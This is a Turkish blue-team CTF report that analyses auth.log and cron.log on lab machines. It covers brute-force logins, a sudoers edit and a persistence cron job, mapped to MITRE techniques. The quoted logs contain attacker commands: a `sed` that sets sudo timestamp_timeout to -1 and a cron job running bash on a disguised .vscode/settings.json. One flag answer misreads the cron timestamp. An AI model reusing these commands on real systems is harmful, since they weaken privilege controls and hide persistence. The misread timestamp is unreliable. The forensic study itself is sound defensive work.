

BLUETEAM INCIDENT ANALYSIS GAME REPORT

Ali Ekber KARA – Mahsun_Kirmizigul

Flag 1

- ssh -i admin_key admin@192.168.1.40

Yukarıdaki komutu kullanarak hedef alınan makineye bağlanıyoruz. Daha sonra makine ile alakalı önceden yapılmış işlemleri kontrol ettiğimiz /var/log/ dizinine gidiyoruz.

```
root@ubuntu:/var/log# ls
alternatives.log  btmp          error          lastlog        syslog
apt              cron.log      faillog        messages       sysstat
auth.log          daemon.log    fontconfig.log private         unattended-upgrades
bootstrap.log     dpkg.log      journal        samba          wtmp
root@ubuntu:/var/log# more -f auth.log
Nov  2 11:01:45 ubuntu sshd[98]: Accepted publickey for victim from 192.168.1.20 port 34112 ssh2: RSA SHA256:ghCccr4AodZCs6VgeDFciKRigz20L908GFNmM>
87s
Nov  2 11:01:45 ubuntu sshd[98]: pam_unix(sshd:session): session opened for user victim by (uid=0)
Nov  2 11:01:45 ubuntu sshd[98]: pam_systemd(sshd:session): Failed to create session: Launch helper exited with unknown return code 1
Nov  2 11:01:45 ubuntu sshd[98]: pam_env(sshd:session): Unable to open env file: /etc/default/locale: No such file or directory
Nov  2 11:02:48 ubuntu sshd[141]: Received disconnect from 192.168.1.20 port 47114:11: Bye Bye [preauth]
Nov  2 11:02:48 ubuntu sshd[141]: Disconnected from authenticating user john 192.168.1.20 port 47114 [preauth]
Nov  2 11:02:49 ubuntu sshd[153]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.20 user=john
Nov  2 11:02:49 ubuntu sshd[147]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.20 user=john
Nov  2 11:02:49 ubuntu sshd[156]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.20 user=john
Nov  2 11:02:49 ubuntu sshd[148]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.20 user=john
Nov  2 11:02:49 ubuntu sshd[155]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.20 user=john
```

Şekil 1

- more -f auth.log

Brute Force atağı ile alakalı kayıtlar için kimlik doğrulama loglarını barındıran auth.log dosyasını okuyoruz. Şekil 1’de de görüldüğü üzere Nov 2 11:02:49 tarihinde atak başlamıştır.

Flag 2

```
root@ubuntu:/var/log# ls
alternatives.log  btmp          error          lastlog        syslog
apt              cron.log      faillog        messages       sysstat
auth.log          daemon.log    fontconfig.log private         unattended-upgrades
bootstrap.log     dpkg.log      journal        samba          wtmp
root@ubuntu:/var/log# more -f auth.log
Nov  2 11:01:45 ubuntu sshd[98]: Accepted publickey for victim from 192.168.1.20 port 34112 ssh2: RSA SHA256:ghCgcr4AodZCs6VgeDFciKR1gz2OL908GFNmms
87s
Nov  2 11:01:45 ubuntu sshd[98]: pam_unix(sshd:session): session opened for user victim by (uid=0)
Nov  2 11:01:45 ubuntu sshd[98]: pam_systemd(sshd:session): Failed to create session: Launch helper exited with unknown return code 1
Nov  2 11:01:45 ubuntu sshd[98]: pam_env(sshd:session): Unable to open env file: /etc/default/locale: No such file or directory
Nov  2 11:02:48 ubuntu sshd[141]: Received disconnect from 192.168.1.20 port 47114:11: Bye Bye [preauth]
Nov  2 11:02:48 ubuntu sshd[141]: Disconnected from authenticating user john 192.168.1.20 port 47114 [preauth]
Nov  2 11:02:49 ubuntu sshd[153]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.20 user=john
Nov  2 11:02:49 ubuntu sshd[147]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.20 user=john
Nov  2 11:02:49 ubuntu sshd[156]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.20 user=john
Nov  2 11:02:49 ubuntu sshd[148]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.20 user=john
```

Şekil 2

Şekil 2’de görüldüğü üzere saldırganın IP Adresine az önceki log kaydından tekrardan ulaşabiliriz. (192.168.1.20)

Flag 3

```
root@ubuntu:/var/log# cat auth.log | grep session
Nov  2 11:01:45 ubuntu sshd[98]: pam_unix(sshd:session): session opened for user victim by (uid=0)
Nov  2 11:01:45 ubuntu sshd[98]: pam_systemd(sshd:session): Failed to create session: Launch helper exited with unknown return code 1
Nov  2 11:01:45 ubuntu sshd[98]: pam_env(sshd:session): Unable to open env file: /etc/default/locale: No such file or directory
Nov  2 11:05:01 ubuntu CRON[229]: pam_env(cron:session): Unable to open env file: /etc/default/locale: No such file or directory
Nov  2 11:05:01 ubuntu CRON[229]: pam_unix(cron:session): session opened for user root by (uid=0)
Nov  2 11:05:01 ubuntu CRON[229]: pam_unix(cron:session): session closed for user root
Nov  2 11:12:07 ubuntu sshd[499]: pam_unix(sshd:session): session opened for user john by (uid=0)
Nov  2 11:12:07 ubuntu sshd[499]: pam_systemd(sshd:session): Failed to create session: Launch helper exited with unknown return code 1
Nov  2 11:12:07 ubuntu sshd[499]: pam_env(sshd:session): Unable to open env file: /etc/default/locale: No such file or directory
Nov  2 11:12:07 ubuntu sshd[499]: pam_unix(sshd:session): session closed for user john
Nov  2 11:13:17 ubuntu sshd[528]: pam_unix(sshd:session): session opened for user john by (uid=0)
Nov  2 11:13:17 ubuntu sshd[528]: pam_systemd(sshd:session): Failed to create session: Launch helper exited with unknown return code 1
Nov  2 11:13:17 ubuntu sshd[528]: pam_env(sshd:session): Unable to open env file: /etc/default/locale: No such file or directory
Apr 30 17:03:18 ubuntu sshd[96]: pam_unix(sshd:session): session opened for user admin by (uid=0)
```

Şekil 3

- cat auth.log | grep session

Hedef makinede kullanıcıların oturum açma bilgisi için session loglarına bakıyoruz. Şekil 3’te görüldüğü üzere john adlı kullanıcı Nov 2 11:12:07 ve Nov 2 11:13:17 tarihlerinde olmak üzere iki kez oturum açmış.

(Platform iki cevabı da Flag Değeri olarak Kabul Etmedi.)

Flag 4

The screenshot shows the MITRE ATT&CK website. The top navigation bar includes links for Matrices, Tactics, Techniques, Defenses, CTI, Resources, Benefactors, and a Blog. A search bar is located on the right. The left sidebar lists various techniques under the heading 'TECHNIQUES', with 'Credential Stuffing' highlighted. The main content area is titled 'Brute Force: Credential Stuffing'. It features a table of sub-techniques, a description of the technique, and a sidebar with additional details.

ID	Name
T1110.001	Password Guessing
T1110.002	Password Cracking
T1110.003	Password Spraying
T1110.004	Credential Stuffing

Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts.

ID: T1110.004
Sub-technique of: T1110
① Tactic: Credential Access
① Platforms: Azure AD, Containers, Google Workspace, IaaS, Linux, Network, Office 365, SaaS, Windows, macOS
Contributors: Anastasios Pingios; Diogo Fernandes
Version: 1.5
Created: 11 February 2020
Last Modified: 07 March 2024
[Version Permalink](#)

Şekil 4

Bu makinede uygulanan MITRE tekniği Şekil 4’te de görüldüğü üzere **T1110.004 (Brute Force – Credential Stuffing)**’dir.

Flag 5

- `ssh -i admin_key admin@192.168.1.60`

İkinci makineye bağlanmak için yukarıdaki komutu kullanıyoruz. Daha sonra sistemde kimlik doğrulama bilgileri ve kullanılan komutları da görüntüleyebilmek için tekrardan **/var/log** dizini altında bulunan **auth.log** dosyasını okuyoruz.

```

root@ubuntu:/var/log# cat auth.log
Oct 26 12:18:37 ubuntu sshd[98]: Accepted publickey for victim from 192.168.1.20 port 33238 ssh2: RSA SHA256:ghCgCCR4Aod2Cs6VgeDFciKR1gz20L908GFNmmxd
87s  Trash
Oct 26 12:18:37 ubuntu sshd[98]: pam_unix(sshd:session): session opened for user victim by (uid=0)
Oct 26 12:18:37 ubuntu sshd[98]: pam_systemd(sshd:session): Failed to create session: Launch helper exited with unknown return code 1
Oct 26 12:18:37 ubuntu sshd[98]: pam_env(sshd:session): Unable to open env file: /etc/default/locale: No such file or directory
Oct 26 12:18:54 ubuntu sudo[124]: victim : TTY=pts/0 ; PWD=/home/victim ; USER=root ; COMMAND=list
Oct 26 12:19:34 ubuntu sudo[127]: victim : TTY=pts/0 ; PWD=/home/victim ; USER=root ; COMMAND=/usr/bin/sed -i s/env_reset.*$/env_reset,timestamp_ti
meout=-1/ /etc/sudoers
Oct 26 12:19:34 ubuntu sudo[127]: pam_env(sudo:session): Unable to open env file: /etc/default/locale: No such file or directory
Oct 26 12:19:34 ubuntu sudo[127]: pam_unix(sudo:session): session opened for user root by victim(uid=0)
Oct 26 12:19:34 ubuntu sudo[127]: pam_unix(sudo:session): session closed for user root
Oct 26 12:19:40 ubuntu sudo[131]: victim : TTY=pts/0 ; PWD=/home/victim ; USER=root ; COMMAND=/usr/bin/sed -i s/env_reset.*$/env_reset,timestamp_ti
meout=-1/ /etc/sudoers
Oct 26 12:19:40 ubuntu sudo[131]: pam_env(sudo:session): Unable to open env file: /etc/default/locale: No such file or directory
Oct 26 12:19:40 ubuntu sudo[131]: pam_unix(sudo:session): session opened for user root by victim(uid=0)
Oct 26 12:19:40 ubuntu sudo[131]: pam_unix(sudo:session): session closed for user root
Oct 26 12:20:00 ubuntu sudo[140]: victim : TTY=pts/0 ; PWD=/home/victim ; USER=root ; COMMAND=/usr/sbin/visudo -c -f /etc/sudoers
Oct 26 12:20:00 ubuntu sudo[140]: pam_env(sudo:session): Unable to open env file: /etc/default/locale: No such file or directory
Oct 26 12:20:00 ubuntu sudo[140]: pam_unix(sudo:session): session opened for user root by victim(uid=0)
Oct 26 12:20:00 ubuntu sudo[140]: pam_unix(sudo:session): session closed for user root
Oct 26 12:20:08 ubuntu sudo[147]: victim : TTY=pts/0 ; PWD=/home/victim ; USER=root ; COMMAND=/usr/bin/cat /etc/sudoers
Oct 26 12:20:08 ubuntu sudo[147]: pam_env(sudo:session): Unable to open env file: /etc/default/locale: No such file or directory
Oct 26 12:20:08 ubuntu sudo[147]: pam_unix(sudo:session): session opened for user root by victim(uid=0)
Oct 26 12:20:08 ubuntu sudo[147]: pam_unix(sudo:session): session closed for user root
Apr 30 17:05:01 ubuntu CRON[96]: pam_env(cron:session): Unable to open env file: /etc/default/locale: No such file or directory

```

Şekil 5

Makinede değiştirilen dosyanın *Şekil 5*'te görüldüğü üzere `/etc/sudoers` dosyası olduğunu görüyoruz.

Flag 6

```

root@ubuntu:/var/log# cat auth.log
Oct 26 12:18:37 ubuntu sshd[98]: Accepted publickey for victim from 192.168.1.20 port 33238 ssh2: RSA SHA256:ghCgCCR4Aod2Cs6VgeDFciKR1gz20L908GFNmmxd
87s  Trash
Oct 26 12:18:37 ubuntu sshd[98]: pam_unix(sshd:session): session opened for user victim by (uid=0)
Oct 26 12:18:37 ubuntu sshd[98]: pam_systemd(sshd:session): Failed to create session: Launch helper exited with unknown return code 1
Oct 26 12:18:37 ubuntu sshd[98]: pam_env(sshd:session): Unable to open env file: /etc/default/locale: No such file or directory
Oct 26 12:18:54 ubuntu sudo[124]: victim : TTY=pts/0 ; PWD=/home/victim ; USER=root ; COMMAND=list
Oct 26 12:19:34 ubuntu sudo[127]: victim : TTY=pts/0 ; PWD=/home/victim ; USER=root ; COMMAND=/usr/bin/sed -i s/env_reset.*$/env_reset,timestamp_ti
meout=-1/ /etc/sudoers
Oct 26 12:19:34 ubuntu sudo[127]: pam_env(sudo:session): Unable to open env file: /etc/default/locale: No such file or directory
Oct 26 12:19:34 ubuntu sudo[127]: pam_unix(sudo:session): session opened for user root by victim(uid=0)
Oct 26 12:19:34 ubuntu sudo[127]: pam_unix(sudo:session): session closed for user root
Oct 26 12:19:40 ubuntu sudo[131]: victim : TTY=pts/0 ; PWD=/home/victim ; USER=root ; COMMAND=/usr/bin/sed -i s/env_reset.*$/env_reset,timestamp_ti
meout=-1/ /etc/sudoers
Oct 26 12:19:40 ubuntu sudo[131]: pam_env(sudo:session): Unable to open env file: /etc/default/locale: No such file or directory
Oct 26 12:19:40 ubuntu sudo[131]: pam_unix(sudo:session): session opened for user root by victim(uid=0)
Oct 26 12:19:40 ubuntu sudo[131]: pam_unix(sudo:session): session closed for user root
Oct 26 12:20:00 ubuntu sudo[140]: victim : TTY=pts/0 ; PWD=/home/victim ; USER=root ; COMMAND=/usr/sbin/visudo -c -f /etc/sudoers
Oct 26 12:20:00 ubuntu sudo[140]: pam_env(sudo:session): Unable to open env file: /etc/default/locale: No such file or directory
Oct 26 12:20:00 ubuntu sudo[140]: pam_unix(sudo:session): session opened for user root by victim(uid=0)
Oct 26 12:20:00 ubuntu sudo[140]: pam_unix(sudo:session): session closed for user root
Oct 26 12:20:08 ubuntu sudo[147]: victim : TTY=pts/0 ; PWD=/home/victim ; USER=root ; COMMAND=/usr/bin/cat /etc/sudoers
Oct 26 12:20:08 ubuntu sudo[147]: pam_env(sudo:session): Unable to open env file: /etc/default/locale: No such file or directory
Oct 26 12:20:08 ubuntu sudo[147]: pam_unix(sudo:session): session opened for user root by victim(uid=0)
Oct 26 12:20:08 ubuntu sudo[147]: pam_unix(sudo:session): session closed for user root
Apr 30 17:05:01 ubuntu CRON[96]: pam_env(cron:session): Unable to open env file: /etc/default/locale: No such file or directory

```

Şekil 6

Şekil 6'ya bakıldığında

Oct 26 12:19:40 tarihinde `/etc/sudoers` dosyasının son olarak

değiştirildiği görülür.

Flag 7

```
root@ubuntu:/var/log# cat auth.log
Oct 26 12:18:37 ubuntu sshd[98]: Accepted publickey for victim from 192.168.1.20 port 33238 ssh2: RSA SHA256:ghCccr4AodZCs6VgeDFciKR1gz20L908GFNmmxd
87s  trash
Oct 26 12:18:37 ubuntu sshd[98]: pam_unix(sshd:session): session opened for user victim by (uid=0)
Oct 26 12:18:37 ubuntu sshd[98]: pam_systemd(sshd:session): Failed to create session: Launch helper exited with unknown return code 1
Oct 26 12:18:37 ubuntu sshd[98]: pam_env(sshd:session): Unable to open env file: /etc/default/locale: No such file or directory
Oct 26 12:18:54 ubuntu sudo[124]: victim : TTY=pts/0 ; PWD=/home/victim ; USER=root ; COMMAND=list
Oct 26 12:19:34 ubuntu sudo[127]: victim : TTY=pts/0 ; PWD=/home/victim ; USER=root ; COMMAND=/usr/bin/sed -i s/env_reset.*$/env_reset,timestamp_t
imeout=-1/ /etc/sudoers
Oct 26 12:19:34 ubuntu sudo[127]: pam_env(sudo:session): Unable to open env file: /etc/default/locale: No such file or directory
Oct 26 12:19:34 ubuntu sudo[127]: pam_unix(sudo:session): session opened for user root by victim(uid=0)
Oct 26 12:19:34 ubuntu sudo[127]: pam_unix(sudo:session): session closed for user root
Oct 26 12:19:40 ubuntu sudo[131]: victim : TTY=pts/0 ; PWD=/home/victim ; USER=root ; COMMAND=/usr/bin/sed -i s/env_reset.*$/env_reset,timestamp_t
imeout=-1/ /etc/sudoers
Oct 26 12:19:40 ubuntu sudo[131]: pam_env(sudo:session): Unable to open env file: /etc/default/locale: No such file or directory
Oct 26 12:19:40 ubuntu sudo[131]: pam_unix(sudo:session): session opened for user root by victim(uid=0)
Oct 26 12:19:40 ubuntu sudo[131]: pam_unix(sudo:session): session closed for user root
Oct 26 12:20:00 ubuntu sudo[140]: victim : TTY=pts/0 ; PWD=/home/victim ; USER=root ; COMMAND=/usr/sbin/visudo -c -f /etc/sudoers
Oct 26 12:20:00 ubuntu sudo[140]: pam_env(sudo:session): Unable to open env file: /etc/default/locale: No such file or directory
Oct 26 12:20:00 ubuntu sudo[140]: pam_unix(sudo:session): session opened for user root by victim(uid=0)
Oct 26 12:20:00 ubuntu sudo[140]: pam_unix(sudo:session): session closed for user root
Oct 26 12:20:08 ubuntu sudo[147]: victim : TTY=pts/0 ; PWD=/home/victim ; USER=root ; COMMAND=/usr/bin/cat /etc/sudoers
Oct 26 12:20:08 ubuntu sudo[147]: pam_env(sudo:session): Unable to open env file: /etc/default/locale: No such file or directory
Oct 26 12:20:08 ubuntu sudo[147]: pam_unix(sudo:session): session opened for user root by victim(uid=0)
Oct 26 12:20:08 ubuntu sudo[147]: pam_unix(sudo:session): session closed for user root
Apr 30 17:05:01 ubuntu CRON[96]: pam_env(cron:session): Unable to open env file: /etc/default/locale: No such file or directory
```

Şekil 7

Şekil 7’de görüldüğü üzere hedef makinede */etc/sudoers* dosyasını değiştiren kullanıcı **victim** kullanıcısıdır.

Flag 8

```
root@ubuntu:/var/log# cat auth.log
Oct 26 12:18:37 ubuntu sshd[98]: Accepted publickey for victim from 192.168.1.20 port 33238 ssh2: RSA SHA256:ghCccr4AodZCs6VgeDFciKR1gz20L908GFNmmxd
87s  trash
Oct 26 12:18:37 ubuntu sshd[98]: pam_unix(sshd:session): session opened for user victim by (uid=0)
Oct 26 12:18:37 ubuntu sshd[98]: pam_systemd(sshd:session): Failed to create session: Launch helper exited with unknown return code 1
Oct 26 12:18:37 ubuntu sshd[98]: pam_env(sshd:session): Unable to open env file: /etc/default/locale: No such file or directory
Oct 26 12:18:54 ubuntu sudo[124]: victim : TTY=pts/0 ; PWD=/home/victim ; USER=root ; COMMAND=list
Oct 26 12:19:34 ubuntu sudo[127]: victim : TTY=pts/0 ; PWD=/home/victim ; USER=root ; COMMAND=/usr/bin/sed -i s/env_reset.*$/env_reset,timestamp_t
imeout=-1/ /etc/sudoers
Oct 26 12:19:34 ubuntu sudo[127]: pam_env(sudo:session): Unable to open env file: /etc/default/locale: No such file or directory
Oct 26 12:19:34 ubuntu sudo[127]: pam_unix(sudo:session): session opened for user root by victim(uid=0)
Oct 26 12:19:34 ubuntu sudo[127]: pam_unix(sudo:session): session closed for user root
Oct 26 12:19:40 ubuntu sudo[131]: victim : TTY=pts/0 ; PWD=/home/victim ; USER=root ; COMMAND=/usr/bin/sed -i s/env_reset.*$/env_reset,timestamp_t
imeout=-1/ /etc/sudoers
Oct 26 12:19:40 ubuntu sudo[131]: pam_env(sudo:session): Unable to open env file: /etc/default/locale: No such file or directory
Oct 26 12:19:40 ubuntu sudo[131]: pam_unix(sudo:session): session opened for user root by victim(uid=0)
Oct 26 12:19:40 ubuntu sudo[131]: pam_unix(sudo:session): session closed for user root
Oct 26 12:20:00 ubuntu sudo[140]: victim : TTY=pts/0 ; PWD=/home/victim ; USER=root ; COMMAND=/usr/sbin/visudo -c -f /etc/sudoers
Oct 26 12:20:00 ubuntu sudo[140]: pam_env(sudo:session): Unable to open env file: /etc/default/locale: No such file or directory
Oct 26 12:20:00 ubuntu sudo[140]: pam_unix(sudo:session): session opened for user root by victim(uid=0)
Oct 26 12:20:00 ubuntu sudo[140]: pam_unix(sudo:session): session closed for user root
Oct 26 12:20:08 ubuntu sudo[147]: victim : TTY=pts/0 ; PWD=/home/victim ; USER=root ; COMMAND=/usr/bin/cat /etc/sudoers
Oct 26 12:20:08 ubuntu sudo[147]: pam_env(sudo:session): Unable to open env file: /etc/default/locale: No such file or directory
Oct 26 12:20:08 ubuntu sudo[147]: pam_unix(sudo:session): session opened for user root by victim(uid=0)
Oct 26 12:20:08 ubuntu sudo[147]: pam_unix(sudo:session): session closed for user root
Apr 30 17:05:01 ubuntu CRON[96]: pam_env(cron:session): Unable to open env file: /etc/default/locale: No such file or directory
```

Şekil 8

Hedef makinede *timestamp_timeout* değişkeninin yeni değeri Şekil 8’de görüldüğü gibi **-1** değeridir.

Flag 9

Saldırganlar, ayrıcalıkları yükseltmek için *sudo önbellege alma işlemi* gerçekleştirebilir ve/veya *sudoers* dosyasını kullanabilir. Saldırganlar bunu diğer kullanıcılar gibi komutları yürütmek veya işlemleri daha yüksek ayrıcalıklarla oluşturmak için yapabilir.

MITRE | ATT&CK®

Matrices ▾ Tactics ▾ Techniques ▾ Defenses ▾ CTI ▾ Resources ▾ Benefactors Blog ↗ Search 🔍

TECHNIQUES

Sudo and Sudo Caching

Elevated Execution with Prompt

Temporary Elevated Cloud Access

TCC Manipulation

Access Token Manipulation ▾

Account Manipulation ▾

Boot or Logon Autostart Execution ▾

Other sub-techniques of Abuse Elevation Control Mechanism (6)

ID	Name
T1548.001	Setuid and Setgid
T1548.002	Bypass User Account Control
T1548.003	Sudo and Sudo Caching
T1548.004	Elevated Execution with Prompt
T1548.005	Temporary Elevated Cloud Access
T1548.006	TCC Manipulation

Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.

Within Linux and MacOS systems, sudo (sometimes referred to as "superuser do")

ID: T1548.003
Sub-technique of: T1548
① Tactics: Privilege Escalation, Defense Evasion
① Platforms: Linux, macOS
① Permissions Required: User
① Effective Permissions: root
Version: 1.0
Created: 30 January 2020
Last Modified: 14 March 2022

[Version Permalink](#)

Şekil 9

Hedef makinede ise Şekil 9'daki gibi *sudoers* dosyası kullanılarak **T1548.003 (Sudo and Sudo Caching)** tekniği kullanılmıştır.

Flag 10

- ssh -i admin_key admin@192.168.1.80

Üçüncü makineye bağlanmak için yukarıdaki komut kullanılır. *Cron* bir görevi ilerleyen bir zamanda tekrarlamak için kullanılan bir programdır. Belirli bir görevi belirli bir zamanda tekrarlamak için komut verme eylemine ise *Cron job* adı verilir. *Cron job* kayıtlarına */var/log* dizini altında bulunan *cron.log* dosyasından ulaşabiliriz.

```
root@ubuntu:/var/log# cat cron.log
Nov 5 15:55:01 ubuntu CRON[100]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1)
Nov 5 15:55:35 ubuntu crontab[139]: (victim) LIST (victim)
Nov 5 15:55:35 ubuntu crontab[138]: (victim) REPLACE (victim)
Nov 5 15:55:56 ubuntu crontab[157]: (victim) LIST (victim)
Nov 5 15:56:01 ubuntu CRON[161]: (victim) CMD (bash /home/victim/.vscode/settings.json)
Nov 5 15:56:01 ubuntu CRON[160]: (CRON) info (No MTA installed, discarding output)
Nov 5 15:57:01 ubuntu CRON[166]: (victim) CMD (bash /home/victim/.vscode/settings.json)
Nov 5 15:57:01 ubuntu CRON[163]: (CRON) info (No MTA installed, discarding output)
Nov 5 15:58:01 ubuntu CRON[171]: (victim) CMD (bash /home/victim/.vscode/settings.json)
Nov 5 15:58:01 ubuntu CRON[168]: (CRON) info (No MTA installed, discarding output)
Nov 5 15:59:01 ubuntu CRON[176]: (victim) CMD (bash /home/victim/.vscode/settings.json)
Nov 5 15:59:01 ubuntu CRON[173]: (CRON) info (No MTA installed, discarding output)
Nov 5 16:00:01 ubuntu CRON[181]: (victim) CMD (bash /home/victim/.vscode/settings.json)
Nov 5 16:00:01 ubuntu CRON[178]: (CRON) info (No MTA installed, discarding output)
Nov 5 16:01:01 ubuntu CRON[186]: (victim) CMD (bash /home/victim/.vscode/settings.json)
Nov 5 16:01:01 ubuntu CRON[183]: (CRON) info (No MTA installed, discarding output)
Nov 5 16:02:01 ubuntu CRON[191]: (victim) CMD (bash /home/victim/.vscode/settings.json)
Nov 5 16:02:01 ubuntu CRON[188]: (CRON) info (No MTA installed, discarding output)
Nov 5 16:03:01 ubuntu CRON[196]: (victim) CMD (bash /home/victim/.vscode/settings.json)
Nov 5 16:03:01 ubuntu CRON[193]: (CRON) info (No MTA installed, discarding output)
Nov 5 16:04:01 ubuntu CRON[201]: (victim) CMD (bash /home/victim/.vscode/settings.json)
Nov 5 16:04:01 ubuntu CRON[198]: (CRON) info (No MTA installed, discarding output)
```

Şekil 10

Hedef makinede Şekil 10’da görüldüğü gibi cron job sahibi kullanıcı **victim** kullanıcısıdır.

Flag 11

```
root@ubuntu:/var/log# cat cron.log
Nov 5 15:55:01 ubuntu CRON[100]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1)
Nov 5 15:55:35 ubuntu crontab[139]: (victim) LIST (victim)
Nov 5 15:55:35 ubuntu crontab[138]: (victim) REPLACE (victim)
Nov 5 15:55:56 ubuntu crontab[157]: (victim) LIST (victim)
Nov 5 15:56:01 ubuntu CRON[161]: (victim) CMD (bash /home/victim/.vscode/settings.json)
Nov 5 15:56:01 ubuntu CRON[160]: (CRON) info (No MTA installed, discarding output)
Nov 5 15:57:01 ubuntu CRON[166]: (victim) CMD (bash /home/victim/.vscode/settings.json)
Nov 5 15:57:01 ubuntu CRON[163]: (CRON) info (No MTA installed, discarding output)
Nov 5 15:58:01 ubuntu CRON[171]: (victim) CMD (bash /home/victim/.vscode/settings.json)
Nov 5 15:58:01 ubuntu CRON[168]: (CRON) info (No MTA installed, discarding output)
Nov 5 15:59:01 ubuntu CRON[176]: (victim) CMD (bash /home/victim/.vscode/settings.json)
Nov 5 15:59:01 ubuntu CRON[173]: (CRON) info (No MTA installed, discarding output)
Nov 5 16:00:01 ubuntu CRON[181]: (victim) CMD (bash /home/victim/.vscode/settings.json)
Nov 5 16:00:01 ubuntu CRON[178]: (CRON) info (No MTA installed, discarding output)
Nov 5 16:01:01 ubuntu CRON[186]: (victim) CMD (bash /home/victim/.vscode/settings.json)
Nov 5 16:01:01 ubuntu CRON[183]: (CRON) info (No MTA installed, discarding output)
Nov 5 16:02:01 ubuntu CRON[191]: (victim) CMD (bash /home/victim/.vscode/settings.json)
Nov 5 16:02:01 ubuntu CRON[188]: (CRON) info (No MTA installed, discarding output)
Nov 5 16:03:01 ubuntu CRON[196]: (victim) CMD (bash /home/victim/.vscode/settings.json)
Nov 5 16:03:01 ubuntu CRON[193]: (CRON) info (No MTA installed, discarding output)
Nov 5 16:04:01 ubuntu CRON[201]: (victim) CMD (bash /home/victim/.vscode/settings.json)
Nov 5 16:04:01 ubuntu CRON[198]: (CRON) info (No MTA installed, discarding output)
```

Şekil 11

Şekil 11’den de anlaşıldığı üzere cron job sisteme Nov 5 15:55:01 tarihinde eklenmiştir.

Flag 12

```
root@ubuntu:/var/log# cat cron.log
Nov 5 15:55:01 ubuntu CRON[100]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1)
Nov 5 15:55:35 ubuntu crontab[139]: (victim) LIST (victim)
Nov 5 15:55:35 ubuntu crontab[138]: (victim) REPLACE (victim)
Nov 5 15:55:56 ubuntu crontab[157]: (victim) LIST (victim)
Nov 5 15:56:01 ubuntu CRON[161]: (victim) CMD (bash /home/victim/.vscode/settings.json)
Nov 5 15:56:01 ubuntu CRON[160]: (CRON) info (No MTA installed, discarding output)
Nov 5 15:57:01 ubuntu CRON[166]: (victim) CMD (bash /home/victim/.vscode/settings.json)
Nov 5 15:57:01 ubuntu CRON[163]: (CRON) info (No MTA installed, discarding output)
Nov 5 15:58:01 ubuntu CRON[171]: (victim) CMD (bash /home/victim/.vscode/settings.json)
Nov 5 15:58:01 ubuntu CRON[168]: (CRON) info (No MTA installed, discarding output)
Nov 5 15:59:01 ubuntu CRON[176]: (victim) CMD (bash /home/victim/.vscode/settings.json)
Nov 5 15:59:01 ubuntu CRON[173]: (CRON) info (No MTA installed, discarding output)
Nov 5 16:00:01 ubuntu CRON[181]: (victim) CMD (bash /home/victim/.vscode/settings.json)
Nov 5 16:00:01 ubuntu CRON[178]: (CRON) info (No MTA installed, discarding output)
Nov 5 16:01:01 ubuntu CRON[186]: (victim) CMD (bash /home/victim/.vscode/settings.json)
Nov 5 16:01:01 ubuntu CRON[183]: (CRON) info (No MTA installed, discarding output)
Nov 5 16:02:01 ubuntu CRON[191]: (victim) CMD (bash /home/victim/.vscode/settings.json)
Nov 5 16:02:01 ubuntu CRON[188]: (CRON) info (No MTA installed, discarding output)
Nov 5 16:03:01 ubuntu CRON[196]: (victim) CMD (bash /home/victim/.vscode/settings.json)
Nov 5 16:03:01 ubuntu CRON[193]: (CRON) info (No MTA installed, discarding output)
Nov 5 16:04:01 ubuntu CRON[201]: (victim) CMD (bash /home/victim/.vscode/settings.json)
Nov 5 16:04:01 ubuntu CRON[198]: (CRON) info (No MTA installed, discarding output)
```

Şekil 12

Cron job ın ilk uygulaması Şekil 12’den de anlaşıldığı üzere Nov 5 15:56:01 tarihinde gerçekleşmiştir.

Flag 13

```
root@ubuntu:/var/log# cat cron.log
Nov 5 15:55:01 ubuntu CRON[100]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1)
Nov 5 15:55:35 ubuntu crontab[139]: (victim) LIST (victim)
Nov 5 15:55:35 ubuntu crontab[138]: (victim) REPLACE (victim)
Nov 5 15:55:56 ubuntu crontab[157]: (victim) LIST (victim)
Nov 5 15:56:01 ubuntu CRON[161]: (victim) CMD (bash /home/victim/.vscode/settings.json)
Nov 5 15:56:01 ubuntu CRON[160]: (CRON) info (No MTA installed, discarding output)
Nov 5 15:57:01 ubuntu CRON[166]: (victim) CMD (bash /home/victim/.vscode/settings.json)
Nov 5 15:57:01 ubuntu CRON[163]: (CRON) info (No MTA installed, discarding output)
Nov 5 15:58:01 ubuntu CRON[171]: (victim) CMD (bash /home/victim/.vscode/settings.json)
Nov 5 15:58:01 ubuntu CRON[168]: (CRON) info (No MTA installed, discarding output)
Nov 5 15:59:01 ubuntu CRON[176]: (victim) CMD (bash /home/victim/.vscode/settings.json)
Nov 5 15:59:01 ubuntu CRON[173]: (CRON) info (No MTA installed, discarding output)
Nov 5 16:00:01 ubuntu CRON[181]: (victim) CMD (bash /home/victim/.vscode/settings.json)
Nov 5 16:00:01 ubuntu CRON[178]: (CRON) info (No MTA installed, discarding output)
Nov 5 16:01:01 ubuntu CRON[186]: (victim) CMD (bash /home/victim/.vscode/settings.json)
Nov 5 16:01:01 ubuntu CRON[183]: (CRON) info (No MTA installed, discarding output)
Nov 5 16:02:01 ubuntu CRON[191]: (victim) CMD (bash /home/victim/.vscode/settings.json)
Nov 5 16:02:01 ubuntu CRON[188]: (CRON) info (No MTA installed, discarding output)
